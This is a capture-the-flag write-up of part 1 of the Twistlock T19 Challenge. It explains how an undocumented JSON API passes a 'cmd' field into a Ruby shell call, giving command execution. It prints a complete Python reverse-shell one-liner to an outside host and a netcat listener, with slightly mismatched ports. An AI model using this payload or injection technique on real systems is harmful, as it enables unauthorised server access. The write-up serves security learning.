T19 Challenge - Part 1

The T19 Challenge was hosted by Twistlock Labs last week on http://t19challenge.com/.

Welcome.

Our company developed a unique Linux binary called “cat”. We recently discovered that our competitors from the Antivirus company VirusExpress are blocking our cat binary. It is now signed as a virus. Word is that you are a badass security researcher. We need you to infilitrate their server and empty their database.

There are 3 parts of varying difficulty to this challenge. The vulnerabilities may look simple, but are really challenging to exploit.

In summary, we are provided with a virus scanning site, which we must exploit a command injection vulnerability to gain access to the server. After which, we could escalate privileges by exploiting a buffer overflow vulnerability, in a setuid binary that acts as a client to the virus database. Finally, we gain root access by exploiting a buffer overflow vulnerability in the database service ran by the root user.

This post is about the getting the first flag of the challenge, by exploiting a command injection vulnerability in the virus uploading API.

If you would like to skip this part, here are the links to part 2 and part 3.

Recon

The target, virus.express, has a simple interface, allowing a user to upload a binary and check whether it is a virus.

Viewing the source, I found an interesting TODO left by the devs.

2. Add documentation on the experimental JSON API on /api


Opening virus.express/api in the browser gives the following response.

{"success":false,"response":"Please deliver something next time."}


Exploring the API

To ease poking around with the API, I intercepted the request with Burp. Through trial and error, by changing from GET to POST request, adding a Content-Type: application/json header, and sending a dummy {"hello": "world"} as data, the following error page is returned.

It looks like the program errored out at the line

response = {:success=>true, :response=>(is_virus? body[:file][:hash], body[:file][:name], body[:cmd])}

We are expected a JSON object with fields cmd and file, where file is another object consisting of fields hash and name. So, we can modify our data to be

{
"cmd": "ls",
"file": {
"hash": "hello",
"name": "hello"
}
}


Another error. But this time, it looks like really good information. In particular, we can see the following line

#{cmd} "#{encoded}" "#{filename}"

In ruby, putting backticks around a string is to execute it as a shell command. This means we got arbitrary code execution!

But before that, the error needs to resolved so that we can execute what we want. It turns out that the hash is being passed into Z85rb.encode(), which expects a string with length of a multiple of 4. A simple fix is to set both hash and name as empty strings, so that they do not interfere with our cmd.

Getting a reverse shell

Interacting with the server by constantly changing the cmd field is not a good experience. A more convenient method is to spawn a reverse shell.

Unfortunately, as with usual production machines, this one does not have netcat installed, which is used most often when trying to create a reverse shell. Nevertheless, we can go through this reverse shell cheat sheet and try the commands one by one.

In the end, the python one worked out for me.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


I just need to run nc -lvp 8000 on a VPS, send to /api cmd set as the command above, and I get a shell to the server as user rubyist.

In part 2, we exploit a buffer overflow in a setuid binary to escalate privileges as ben.

Actually, I’m not sure if it is even right to say that there is a command injection vulnerability, since we don’t need to tweak the input to execute our command.